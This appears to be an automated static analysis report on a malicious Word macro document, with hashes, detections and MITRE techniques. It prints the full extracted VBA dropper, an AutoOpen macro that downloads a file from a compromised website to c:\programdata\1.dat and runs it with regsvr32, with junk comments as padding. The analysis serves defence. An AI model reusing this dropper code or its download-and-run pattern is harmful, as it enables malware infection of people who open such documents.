Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 ddf5af999b9ce2eb…

MALICIOUS

Office (OOXML)

113.5 KB Created: 2020-07-01 09:29:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-07-24
MD5: 961569aecb6093a77a8efdfaddf1c736 SHA-1: 57c6434fff0e245e5e68829c822bf72d4f1c8152 SHA-256: ddf5af999b9ce2eb55e056a84a0185f199f56786986599f02586943d6615ce39
310 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1218.010 System Binary Proxy Execution: Regsvr32

The document contains a VBA macro with an AutoOpen function that executes a shell command. This macro utilizes the URLDownloadToFile function to download a file from the URL 'http://hipnosesemlimites.com.br/wp-content/plugins/sheet-music-library/_z4IOcFMVDrA9sTFL.php?x=MDAwMSCIEzH-IalkZxKfwP1nCDncN-hDv7s64MGFqzXJD5bzKlfxC6YSGOyE5TngcA33sNUPcXx8chIeJNdLT_gqWXxQgITgkGje6svhJfclhlnlmG8v4gKMqozJYS92kmcRUoPis5WOala5s34cBEIzBw~~' to 'c:\programdata\1.dat'. Subsequently, it uses regsvr32 to execute the downloaded file, indicating a dropper functionality.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-8801554-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-8801554-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    #If VBA7 And Win64 Then
    Public Declare PtrSafe Function fF Lib "urlmon" Alias "URLDownloadToFileA" (ByVal V0 As LongPtr, ByVal R7 As String, ByVal Ao As String, ByVal aA As LongPtr, ByVal Si As LongPtr) As Long
    #Else
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
    Dim Q9 As New WshShell
    Q9.exec "regsvr32 c:\programdata\1.dat"
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "Q"
    Sub autoopen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://hipnosesemlimites.com.br/wp-content/plugins/sheet-music-library/_z4IOcFMVDrA9sTFL.php?x=MDAwMSCIEzH-IalkZxKfwP1nCDncN-hDv7s64MGFqzXJD5bzKlfxC6YSGOyE5TngcA33sNUPcXx8chIeJNdLT_gqWXxQgITgkGje6svhJfclhlnlmG8v4gKMqozJYS92kmcRUoPis5WOala5s34cBEIzBw~~ Referenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2260 bytes
SHA-256: 9e7bdb4a5858a29359fd7f1e37419b0208518a4f3feb359317cfe0450f0be20d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Q"
Sub autoopen()

' Par send hostel
' Sunder classics infect dominant scapegoat
FZ = fF(0, "http://hipnosesemlimites.com.br/wp-content/plugins/sheet-music-library/_z4IOcFMVDrA9sTFL.php?x=MDAwMSCIEzH-IalkZxKfwP1nCDncN-hDv7s64MGFqzXJD5bzKlfxC6YSGOyE5TngcA33sNUPcXx8chIeJNdLT_gqWXxQgITgkGje6svhJfclhlnlmG8v4gKMqozJYS92kmcRUoPis5WOala5s34cBEIzBw~~", "c:\programdata\1.dat", 0, 0)

' Pavilion capital
' Dunno observant
s
End Sub

Attribute VB_Name = "Q1"
Sub s()

' Surveillance
' Shaved iceland runner plenary ah

' Legion putrefaction commodities alias ineffable promotions saga

' Linseed conservation explosive
' Wicker entrap terrain halter zope
' Ably interstate

' Everybody alleviate
' Debauch contributed lafayette applied

' Outgoing whatll
' Differentiate baltimore slav arthur
' Incorporate retired attachment
' Faggot usher abstracts second-rate nominee

' Partnership
' Suburban
' Bleaching treasury francisco lauderdale erroneously eden

' Celibacy supporting gaseous census exposed
' Spent individual frames impel

' Runs bookcase monitor carbine colleagues
' Opera tech survival tardily
' Crochet clients dorsal artless
Dim Q9 As New WshShell
Q9.exec "regsvr32 c:\programdata\1.dat"

' Midsummer castilian trunk mouth urbanity foggy buoyancy
' Montreal seal
' Tend churchman
' Overhead virulent answering ezekiel
' Titan mandatory graphical magnum
' Averil refer neigh
' Bivouac magnanimously mammals
End Sub

Attribute VB_Name = "OI"
#If VBA7 And Win64 Then
Public Declare PtrSafe Function fF Lib "urlmon" Alias "URLDownloadToFileA" (ByVal V0 As LongPtr, ByVal R7 As String, ByVal Ao As String, ByVal aA As LongPtr, ByVal Si As LongPtr) As Long
#Else
Public Declare Function fF Lib "urlmon" Alias "URLDownloadToFileA"(ByVal V0 As Long, ByVal R7 As String, ByVal Ao As String, ByVal aA As Long, ByVal Si As Long) As Long
#End If
Function tC(sF)

' Id weblog harps
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 19968 bytes
SHA-256: 10039bb6cee9c36a9f8988b11a90373e2d7d983abb07678c410448d70bb10fca
Detection
ClamAV: Doc.Dropper.Agent-8801554-0
Obfuscation or payload: unlikely